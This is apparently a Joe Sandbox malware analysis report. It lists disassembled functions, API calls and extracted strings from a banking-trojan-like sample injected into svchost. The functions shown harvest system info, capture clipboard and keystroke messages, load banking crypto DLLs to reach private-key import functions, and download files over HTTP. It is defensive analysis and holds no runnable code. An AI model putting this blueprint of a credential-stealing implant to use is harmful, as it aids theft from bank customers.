                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: File$Write$System$User$AdminFormatHandleInformationMetricsNameTime_snprintf$CapsCloseCreateDateDefaultDeviceDirectoryEnvironmentLangModuleVariableWindowsZonememset
                                                                                                                                                                                                            • String ID: %c%d:%02d$%dx%d@%d$4.0.1$HH:mm:ss$PROCESSOR_IDENTIFIER$XXX$dd:MMM:yyyy$false$true${Administrator: ${BotVer: ${Date: ${GMT: ${Language: ${Local time: ${Process: ${Processor: ${Screen: ${Uptime: ${Username: ${Windows directory:
                                                                                                                                                                                                            • API String ID: 113499719-3279427369
                                                                                                                                                                                                            • Opcode ID: 9054499f4fa11f2e0f0240a636c2edd1570574cf3f9fc0559508981e89958fbe
                                                                                                                                                                                                            • Instruction ID: b2fa6146e9022246d4178943fe94a64be024fc2ff43f79197264d154892d7f77
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 9054499f4fa11f2e0f0240a636c2edd1570574cf3f9fc0559508981e89958fbe
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 1D226DB1D40218FEEB16DFA4CC89EEEBB7DEF45700F10459AB246A7141E6B45B48CB60
                                                                                                                                                                                                            Function 02C844F0 Relevance: 110.5, APIs: 42, Strings: 21, Instructions: 296libraryloaderthreadCOMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            • Executed
                                                                                                                                                                                                            • Not Executed
                                                                                                                                                                                                            control_flow_graph 249 2c844f0-2c84573 memset GetModuleFileNameA AddVectoredExceptionHandler CreateMutexA CreateThread 250 2c84598-2c845c3 InitializeCriticalSection call 2c81330 LoadLibraryExA 249->250 251 2c84575-2c84589 GetHandleInformation 249->251 256 2c845e1-2c845f0 LoadLibraryExA 250->256 257 2c845c5-2c845cf GetProcAddress 250->257 251->250 252 2c8458b-2c8458f 251->252 252->250 254 2c84591-2c84592 CloseHandle 252->254 254->250 258 2c845f2-2c845fc GetProcAddress 256->258 259 2c84646-2c8465a InitializeCriticalSection GetModuleHandleA 256->259 257->256 260 2c845d1-2c845dc call 2c88fc0 257->260 258->259 262 2c845fe-2c84618 call 2c88fc0 GetProcAddress 258->262 263 2c84678-2c84691 GetCurrentProcessId call 2c92e00 259->263 264 2c8465c-2c84666 GetProcAddress 259->264 260->256 262->259 273 2c8461a-2c84634 call 2c88fc0 GetProcAddress 262->273 271 2c846d2-2c846e3 LoadLibraryExA 263->271 272 2c84693-2c846b3 GetCurrentThreadId GetThreadDesktop GetUserObjectInformationA 263->272 264->263 267 2c84668-2c84673 call 2c88fc0 264->267 267->263 276 2c84701-2c84707 GetCurrentProcessId call 2c92e00 271->276 277 2c846e5-2c846ef GetProcAddress 271->277 272->271 274 2c846b5-2c846c9 lstrcmpiA 272->274 273->259 283 2c84636-2c84641 call 2c88fc0 273->283 274->271 278 2c846cb-2c846d0 call 2c775b0 274->278 285 2c8470c-2c8470e 276->285 277->276 280 2c846f1-2c846fc call 2c88fc0 277->280 278->276 280->276 283->259 288 2c8474c-2c84750 285->288 289 2c84710-2c84730 GetCurrentThreadId GetThreadDesktop GetUserObjectInformationA 285->289 290 2c848a3-2c848a9 288->290 291 2c84756-2c84776 call 2c882e0 call 2c71670 StrStrIA 288->291 289->288 292 2c84732-2c84746 lstrcmpiA 289->292 297 2c84778-2c84788 StrStrIA 291->297 298 2c8478e-2c847a3 LoadLibraryExA 291->298 292->288 292->290 297->290 297->298 299 2c847f9-2c8482f InitializeCriticalSection call 2c80820 call 2c800b0 call 2c7eeb0 LoadLibraryExA 298->299 300 2c847a5-2c847af GetProcAddress 298->300 315 2c8484d-2c8485a LoadLibraryExA 299->315 316 2c84831-2c8483b GetProcAddress 299->316 302 2c847c1-2c847cb GetProcAddress 300->302 303 2c847b1-2c847bc call 2c88fc0 300->303 306 2c847dd-2c847e7 GetProcAddress 302->306 307 2c847cd-2c847d8 call 2c88fc0 302->307 303->302 306->299 310 2c847e9-2c847f4 call 2c88fc0 306->310 307->306 310->299 318 2c84878-2c84885 LoadLibraryExA 315->318 319 2c8485c-2c84866 GetProcAddress 315->319 316->315 317 2c8483d-2c84848 call 2c88fc0 316->317 317->315 318->290 320 2c84887-2c84891 GetProcAddress 318->320 319->318 322 2c84868-2c84873 call 2c88fc0 319->322 320->290 323 2c84893-2c8489e call 2c88fc0 320->323 322->318 323->290
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C84511
                                                                                                                                                                                                            • GetModuleFileNameA.KERNEL32(00000000,00000000,00000104,7622F550,75AF7390,76230A60), ref: 02C84527
                                                                                                                                                                                                            • AddVectoredExceptionHandler.KERNEL32(00000001,02C73940), ref: 02C84534
                                                                                                                                                                                                            • CreateMutexA.KERNEL32(00000000,00000000,00000000), ref: 02C8454F
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,Function_00019230,00000000,00000000,00000000), ref: 02C84569
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02C84581
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02C84592
                                                                                                                                                                                                            • InitializeCriticalSection.KERNEL32(02CBD870), ref: 02C845A3
                                                                                                                                                                                                            • LoadLibraryExA.KERNEL32(user32.dll,00000000,00000000), ref: 02C845B9
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,GetClipboardData), ref: 02C845CB
                                                                                                                                                                                                            • LoadLibraryExA.KERNEL32(user32.dll,00000000,00000000), ref: 02C845EA
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,TranslateMessage), ref: 02C845F8
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,GetMessageA), ref: 02C84614
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,GetMessageW), ref: 02C84630
                                                                                                                                                                                                            • InitializeCriticalSection.KERNEL32(02CBD858), ref: 02C8464B
                                                                                                                                                                                                            • GetModuleHandleA.KERNEL32(ntdll.dll), ref: 02C84652
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,ZwQuerySystemInformation), ref: 02C84662
                                                                                                                                                                                                            • GetCurrentProcessId.KERNEL32(00000000,02C76A30,02CC7BA8), ref: 02C84678
                                                                                                                                                                                                            • GetCurrentThreadId.KERNEL32 ref: 02C84693
                                                                                                                                                                                                            • GetThreadDesktop.USER32(00000000,00000002,?,00000100,?), ref: 02C846A8
                                                                                                                                                                                                            • GetUserObjectInformationA.USER32(00000000), ref: 02C846AF
                                                                                                                                                                                                            • lstrcmpiA.KERNEL32(?,7d2de3ada), ref: 02C846C1
                                                                                                                                                                                                            • LoadLibraryExA.KERNEL32(user32.dll,00000000,00000000), ref: 02C846DB
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,SetThreadDesktop), ref: 02C846EB
                                                                                                                                                                                                            • GetCurrentProcessId.KERNEL32(00000000,02C7ABD0,02CBCC94), ref: 02C84701
                                                                                                                                                                                                            • GetCurrentThreadId.KERNEL32 ref: 02C84710
                                                                                                                                                                                                            • GetThreadDesktop.USER32(00000000,00000002,?,00000100,?), ref: 02C84725
                                                                                                                                                                                                            • GetUserObjectInformationA.USER32(00000000), ref: 02C8472C
                                                                                                                                                                                                            • lstrcmpiA.KERNEL32(?,7d2de3ada), ref: 02C8473E
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(00000000,java), ref: 02C84772
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(00000000,.exe), ref: 02C84784
                                                                                                                                                                                                            • LoadLibraryExA.KERNEL32(ws2_32.dll,00000000,00000000), ref: 02C8479D
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,getaddrinfo), ref: 02C847AB
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,gethostbyname), ref: 02C847C7
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,inet_addr), ref: 02C847E3
                                                                                                                                                                                                            • InitializeCriticalSection.KERNEL32(02CBD840), ref: 02C847FE
                                                                                                                                                                                                            • LoadLibraryExA.KERNEL32(sks2xyz.dll,00000000,00000000), ref: 02C8482B
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,vb_pfx_import), ref: 02C84837
                                                                                                                                                                                                            • LoadLibraryExA.KERNEL32(FilialRCon.dll,00000000,00000000), ref: 02C84856
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,RCN_R50Buffer), ref: 02C84862
                                                                                                                                                                                                            • LoadLibraryExA.KERNEL32(mespro.dll,00000000,00000000), ref: 02C84881
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,AddPSEPrivateKeyEx), ref: 02C8488D
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: AddressProc$LibraryLoad$Thread$Current$CriticalHandleInformationInitializeSection$CreateDesktopModuleObjectProcessUserlstrcmpi$CloseExceptionFileHandlerMutexNameVectoredmemset
                                                                                                                                                                                                            • String ID: .exe$7d2de3ada$AddPSEPrivateKeyEx$FilialRCon.dll$GetClipboardData$GetMessageA$GetMessageW$RCN_R50Buffer$SetThreadDesktop$TranslateMessage$ZwQuerySystemInformation$getaddrinfo$gethostbyname$inet_addr$java$mespro.dll$ntdll.dll$sks2xyz.dll$user32.dll$vb_pfx_import$ws2_32.dll
                                                                                                                                                                                                            • API String ID: 1248150503-1381177144
                                                                                                                                                                                                            • Opcode ID: 3e045128c3dfa6dc7d30af0499c5a6ae0fd0e9991d34ddc30372aca257b1a052
                                                                                                                                                                                                            • Instruction ID: 30f4eea14a0cac2fd906ffe96af7effc306e659fab77b5ce78b910cc3d23f5b5
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 3e045128c3dfa6dc7d30af0499c5a6ae0fd0e9991d34ddc30372aca257b1a052
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 9591A071BC035676FA2677B09C4AF9A676D9F80F49F1186A0F502F3080DBA5E6018A79
                                                                                                                                                                                                            Function 02C839C0 Relevance: 72.1, APIs: 33, Strings: 8, Instructions: 323memorynetworkfileCOMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            • Executed
                                                                                                                                                                                                            • Not Executed
                                                                                                                                                                                                            control_flow_graph 705 2c839c0-2c83a05 memset 706 2c83a0b-2c83a0e 705->706 707 2c83d4d-2c83d4f 705->707 706->707 710 2c83a14-2c83a17 706->710 708 2c83d7f-2c83d87 707->708 709 2c83d51-2c83d71 call 2c83620 707->709 716 2c83d76-2c83d7c 709->716 712 2c83a19-2c83a1b 710->712 713 2c83a71-2c83a8b InternetOpenA 710->713 714 2c83a21-2c83a2f 712->714 713->707 715 2c83a91-2c83aac InternetConnectA 713->715 714->714 717 2c83a31-2c83a33 714->717 718 2c83ab2-2c83abb 715->718 719 2c83d43-2c83d4a InternetCloseHandle 715->719 720 2c83a40-2c83a51 717->720 721 2c83abd 718->721 722 2c83ac2-2c83ae2 HttpOpenRequestA 718->722 719->707 725 2c83a53 720->725 726 2c83a55-2c83a5c 720->726 721->722 723 2c83ae8-2c83af6 722->723 724 2c83d39-2c83d40 InternetCloseHandle 722->724 727 2c83af8-2c83afc 723->727 728 2c83b0d-2c83b20 HttpAddRequestHeadersA 723->728 724->719 725->726 726->720 729 2c83a5e-2c83a6c call 2c86c40 726->729 727->728 731 2c83afe-2c83b0b HttpAddRequestHeadersA 727->731 732 2c83b52-2c83b67 HttpSendRequestA 728->732 733 2c83b22-2c83b50 _snprintf HttpAddRequestHeadersA 728->733 729->713 731->728 734 2c83d2c-2c83d36 InternetCloseHandle 732->734 735 2c83b6d-2c83b87 HttpQueryInfoA 732->735 733->732 734->724 735->734 736 2c83b8d-2c83b94 735->736 736->734 737 2c83b9a-2c83bbe CreateFileA 736->737 737->734 738 2c83bc4-2c83bca 737->738 739 2c83bd0-2c83be4 GetProcessHeap RtlAllocateHeap 738->739 740 2c83bea-2c83c17 memset InternetReadFile 739->740 741 2c83c73-2c83c75 739->741 742 2c83c19-2c83c1e 740->742 743 2c83c57-2c83c65 GetProcessHeap HeapValidate 740->743 744 2c83c9a-2c83cac call 2c76570 741->744 745 2c83c77-2c83c8b GetHandleInformation 741->745 742->743 747 2c83c20-2c83c44 WriteFile GetProcessHeap HeapValidate 742->747 743->741 748 2c83c67-2c83c6d GetProcessHeap HeapFree 743->748 753 2c83d29 744->753 754 2c83cb2-2c83cbc 744->754 745->744 749 2c83c8d-2c83c91 745->749 747->739 751 2c83c46-2c83c52 GetProcessHeap HeapFree 747->751 748->741 749->744 752 2c83c93-2c83c94 CloseHandle 749->752 751->739 752->744 753->734 755 2c83cc0-2c83cce 754->755 755->755 756 2c83cd0 755->756 757 2c83cd2-2c83ce3 756->757 758 2c83ce5 757->758 759 2c83ce7-2c83cee 757->759 758->759 759->757 760 2c83cf0-2c83d1b call 2c86c40 call 2c764d0 GetProcessHeap HeapValidate 759->760 760->753 765 2c83d1d-2c83d23 GetProcessHeap RtlFreeHeap 760->765 765->753
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C839F2
                                                                                                                                                                                                            • InternetOpenA.WININET(Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0),00000000,00000000,00000000,04000000), ref: 02C83A7E
                                                                                                                                                                                                            • InternetConnectA.WININET(00000000,00000000,00000050,00000000,00000000,00000003,00000000,00000001), ref: 02C83A9F
                                                                                                                                                                                                            • HttpOpenRequestA.WININET(00000000,GET,00000000,HTTP/1.0,00000000,00000000,00000000,00000001), ref: 02C83AD5
                                                                                                                                                                                                            • HttpAddRequestHeadersA.WININET(00000000,Content-Type: application/x-www-form-urlencoded,000000FF,20000000), ref: 02C83B0B
                                                                                                                                                                                                            • HttpAddRequestHeadersA.WININET(00000000,Referer: http://www.google.com,000000FF,20000000), ref: 02C83B1A
                                                                                                                                                                                                            • _snprintf.MSVCRT ref: 02C83B38
                                                                                                                                                                                                            • HttpAddRequestHeadersA.WININET(00000000,?,000000FF,20000000), ref: 02C83B50
                                                                                                                                                                                                            • HttpSendRequestA.WININET(00000000,00000000,00000000,02C76406,?), ref: 02C83B5F
                                                                                                                                                                                                            • HttpQueryInfoA.WININET(00000000,20000013,00000000,00000004,?), ref: 02C83B7F
                                                                                                                                                                                                            • CreateFileA.KERNEL32(00000000,C0000000,00000003,00000000,00000002,00000080,00000000), ref: 02C83BB3
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,00001010), ref: 02C83BD7
                                                                                                                                                                                                            • RtlAllocateHeap.NTDLL(00000000), ref: 02C83BDA
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C83BF2
                                                                                                                                                                                                            • InternetReadFile.WININET(00000000,00000000,00001000,00000000), ref: 02C83C0F
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 02C83C30
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C83C39
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02C83C3C
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C83C49
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02C83C4C
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C83C5A
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02C83C5D
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C83C6A
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02C83C6D
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000), ref: 02C83C83
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02C83C94
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            • Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0), xrefs: 02C83A79
                                                                                                                                                                                                            • 325b0ba3454dc65e, xrefs: 02C83B22
                                                                                                                                                                                                            • POST, xrefs: 02C83ABD, 02C83AD3
                                                                                                                                                                                                            • Content-Type: multipart/form-data; boundary=---------------------------%s, xrefs: 02C83B27
                                                                                                                                                                                                            • GET, xrefs: 02C83AB6
                                                                                                                                                                                                            • Content-Type: application/x-www-form-urlencoded, xrefs: 02C83B05
                                                                                                                                                                                                            • Referer: http://www.google.com, xrefs: 02C83B14
                                                                                                                                                                                                            • HTTP/1.0, xrefs: 02C83ACD
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$Http$ProcessRequest$FileHeadersInternet$FreeHandleOpenValidatememset$AllocateCloseConnectCreateInfoInformationQueryReadSendWrite_snprintf
                                                                                                                                                                                                            • String ID: 325b0ba3454dc65e$Content-Type: application/x-www-form-urlencoded$Content-Type: multipart/form-data; boundary=---------------------------%s$GET$HTTP/1.0$Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)$POST$Referer: http://www.google.com
                                                                                                                                                                                                            • API String ID: 2233330183-3557604321
                                                                                                                                                                                                            • Opcode ID: 96ad48ba908256527a398daa973226683fba8ef25ca08c025694212504682693
                                                                                                                                                                                                            • Instruction ID: e9e0518cfa772f2fcc0f91f2f8754f9ff787320be5ffe8050f190806518866ff
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 96ad48ba908256527a398daa973226683fba8ef25ca08c025694212504682693
                                                                                                                                                                                                            • Instruction Fuzzy Hash: A6B1FC71A402946BDB11EF64DC89FEF7B78EF48F18F104598FA05A7180D770AA44CBA4
                                                                                                                                                                                                            Function 02C73940 Relevance: 65.3, APIs: 24, Strings: 13, Instructions: 538threadmemorynativeCOMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            • Executed
                                                                                                                                                                                                            • Not Executed
                                                                                                                                                                                                            control_flow_graph 824 2c73940-2c7395f 825 2c73965-2c7396a 824->825 826 2c73fd8-2c73fe3 824->826 825->826 827 2c73970-2c73975 825->827 827->826 828 2c7397b-2c73980 827->828 828->826 829 2c73986-2c7398b 828->829 829->826 830 2c73991-2c739b5 829->830 830->826 831 2c739bb 830->831 832 2c739c1-2c739c4 831->832 833 2c73a6e-2c73a72 832->833 834 2c739ca-2c739f3 VirtualQuery 832->834 833->826 837 2c73a78-2c73a85 call 2c73750 833->837 835 2c739f5-2c73a51 VirtualQuery * 2 834->835 836 2c73a5a-2c73a68 834->836 835->836 838 2c73a53 835->838 836->832 836->833 837->826 841 2c73a8b-2c73aac call 2c737c0 VirtualAlloc 837->841 838->836 841->826 844 2c73ab2-2c73ad2 SymSetOptions GetCurrentProcess SymInitialize 841->844 845 2c73ad4-2c73b09 GetCurrentProcess call 2c73830 844->845 846 2c73b0e-2c73b10 844->846 845->846 848 2c73b13-2c73b18 846->848 848->848 849 2c73b1a-2c73b21 848->849 850 2c73b24-2c73b29 849->850 850->850 851 2c73b2b-2c73bc5 call 2c93910 * 2 GetLastError _snprintf call 2c93910 850->851 858 2c73bc7-2c73be3 call 2c93910 * 2 851->858 859 2c73c2f 851->859 858->859 873 2c73be5-2c73beb 858->873 861 2c73c32-2c73c36 859->861 863 2c73c95-2c73cb2 861->863 864 2c73c38-2c73c53 GetCurrentThread ZwQueryInformationThread 861->864 865 2c73cb5-2c73cbb 863->865 864->863 867 2c73c55 864->867 865->865 868 2c73cbd-2c73ce5 865->868 870 2c73c58-2c73c5e 867->870 871 2c73ce7-2c73cea 868->871 872 2c73d13-2c73d15 868->872 870->870 874 2c73c60-2c73c90 GetCurrentProcess call 2c73830 870->874 871->872 875 2c73cec-2c73cf0 871->875 877 2c73d18-2c73d1d 872->877 876 2c73bf0-2c73bf6 873->876 874->863 879 2c73cf2-2c73cf6 875->879 880 2c73d0a-2c73d11 875->880 876->876 881 2c73bf8-2c73c2d 876->881 877->877 882 2c73d1f-2c73d21 877->882 879->880 883 2c73cf8-2c73d02 GetCurrentProcess call 2c73830 879->883 880->871 880->872 881->861 884 2c73fc7-2c73fd2 VirtualFree 882->884 885 2c73d27-2c73d29 882->885 888 2c73d07 883->888 884->826 887 2c73d30-2c73d40 885->887 887->887 889 2c73d42-2c73d54 PathAddBackslashA 887->889 888->880 890 2c73d56-2c73d5b 889->890 890->890 891 2c73d5d-2c73d67 890->891 892 2c73d68-2c73d6e 891->892 892->892 893 2c73d70-2c73d9c PathAddBackslashA call 2c73090 call 2c769d0 892->893 898 2c73da0-2c73db0 893->898 898->898 899 2c73db2-2c73dbe PathAddBackslashA 898->899 900 2c73dc0-2c73dc5 899->900 900->900 901 2c73dc7-2c73dcf 900->901 902 2c73dd0-2c73dd6 901->902 902->902 903 2c73dd8-2c73e54 GetDateFormatA GetTimeFormatA _snprintf 902->903 904 2c73e56-2c73e5b 903->904 904->904 905 2c73e5d-2c73e67 904->905 906 2c73e68-2c73e6e 905->906 906->906 907 2c73e70-2c73e7e 906->907 908 2c73e80-2c73e90 907->908 908->908 909 2c73e92-2c73e9e PathAddBackslashA 908->909 910 2c73ea0-2c73ea5 909->910 910->910 911 2c73ea7-2c73eb1 910->911 912 2c73eb2-2c73eb8 911->912 912->912 913 2c73eba-2c73ecf 912->913 914 2c73ed0-2c73ed6 913->914 914->914 915 2c73ed8-2c73eff call 2c74920 914->915 918 2c73f00-2c73f10 915->918 918->918 919 2c73f12-2c73f1e PathAddBackslashA 918->919 920 2c73f20-2c73f25 919->920 920->920 921 2c73f27-2c73f31 920->921 922 2c73f32-2c73f38 921->922 922->922 923 2c73f3a-2c73f4f 922->923 924 2c73f50-2c73f56 923->924 924->924 925 2c73f58-2c73f85 call 2c93950 call 2c764b0 924->925 925->884 930 2c73f87-2c73f8f 925->930 931 2c73f90-2c73f95 930->931 931->931 932 2c73f97-2c73fc2 call 2c766a0 call 2c93e00 PathAddBackslashA call 2c825c0 call 2c76a10 931->932 932->884
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • VirtualQuery.KERNEL32(Function_00023910,?,0000001C), ref: 02C739EC
                                                                                                                                                                                                            • VirtualQuery.KERNEL32(Function_00023910,?,0000001C), ref: 02C73A17
                                                                                                                                                                                                            • VirtualQuery.KERNEL32(Function_00023910,?,0000001C), ref: 02C73A3E
                                                                                                                                                                                                            • VirtualAlloc.KERNEL32(00000000,00001000,00003000,00000004,?), ref: 02C73A9F
                                                                                                                                                                                                            • SymSetOptions.DBGHELP(00000006), ref: 02C73AB4
                                                                                                                                                                                                            • GetCurrentProcess.KERNEL32(00000000,00000001), ref: 02C73AC4
                                                                                                                                                                                                            • SymInitialize.DBGHELP(00000000), ref: 02C73AC7
                                                                                                                                                                                                            • GetCurrentProcess.KERNEL32(?,00000000), ref: 02C73B05
                                                                                                                                                                                                            • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,main,00000000,?), ref: 02C73B90
                                                                                                                                                                                                            • _snprintf.MSVCRT ref: 02C73BAE
                                                                                                                                                                                                            • GetCurrentThread.KERNEL32 ref: 02C73C44
                                                                                                                                                                                                            • ZwQueryInformationThread.NTDLL(00000000), ref: 02C73C4B
                                                                                                                                                                                                            • GetCurrentProcess.KERNEL32(?,?), ref: 02C73C88
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            • main, xrefs: 02C73B57
                                                                                                                                                                                                            • dd;MMM;yyyy, xrefs: 02C73DED
                                                                                                                                                                                                            • ExceptionCode = 0x%08XLast error: 0x%08XContext:Eip = 0x%08X Eax = 0x%08X Ebx = 0x%08XEcx = 0x%08X Edx = 0x%08X Ebp = 0x%08XEsp = 0x%08X Esi = 0x%08X Edi = 0x%08XEFlags = 0x%08XMain module:%s 0x%08X-0x%08X, xrefs: 02C73BA7
                                                                                                                                                                                                            • HH;mm;ss, xrefs: 02C73E12
                                                                                                                                                                                                            • ThreadStart = , xrefs: 02C73C60
                                                                                                                                                                                                            • debug_%s_%s.log, xrefs: 02C73E34
                                                                                                                                                                                                            • CallStack:, xrefs: 02C73CBD
                                                                                                                                                                                                            • ExceptionAddress = , xrefs: 02C73AD4
                                                                                                                                                                                                            • DEBUG, xrefs: 02C73FAD
                                                                                                                                                                                                            • scr.bmp, xrefs: 02C73F58
                                                                                                                                                                                                            • csm, xrefs: 02C73965
                                                                                                                                                                                                            • sysinfo.log, xrefs: 02C73ED8
                                                                                                                                                                                                            • Self exception = TRUE, xrefs: 02C73BF8
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: CurrentQueryVirtual$Process$Thread$AllocErrorInformationInitializeLastOptions_snprintf
                                                                                                                                                                                                            • String ID: CallStack:$ExceptionCode = 0x%08XLast error: 0x%08XContext:Eip = 0x%08X Eax = 0x%08X Ebx = 0x%08XEcx = 0x%08X Edx = 0x%08X Ebp = 0x%08XEsp = 0x%08X Esi = 0x%08X Edi = 0x%08XEFlags = 0x%08XMain module:%s 0x%08X-0x%08X$Self exception = TRUE$ThreadStart = $DEBUG$ExceptionAddress = $HH;mm;ss$csm$dd;MMM;yyyy$debug_%s_%s.log$main$scr.bmp$sysinfo.log
                                                                                                                                                                                                            • API String ID: 3375037927-1369666974
                                                                                                                                                                                                            • Opcode ID: ac3fec414610f6108b4739e17ac95429ad56976481f4b4802917928903d1c8c8
                                                                                                                                                                                                            • Instruction ID: 506229e922478522f59c4e797cef5f4b2d10b56b102a1ea82a7b136c19998999
                                                                                                                                                                                                            • Opcode Fuzzy Hash: ac3fec414610f6108b4739e17ac95429ad56976481f4b4802917928903d1c8c8
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 6622C470E406859FDB15CF68C894BAABBF5FF89300F2486D9E949EB340D731AA45CB50
                                                                                                                                                                                                            Function 00402C10 Relevance: 64.9, APIs: 28, Strings: 9, Instructions: 157librarywindowCOMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            • Executed
                                                                                                                                                                                                            • Not Executed
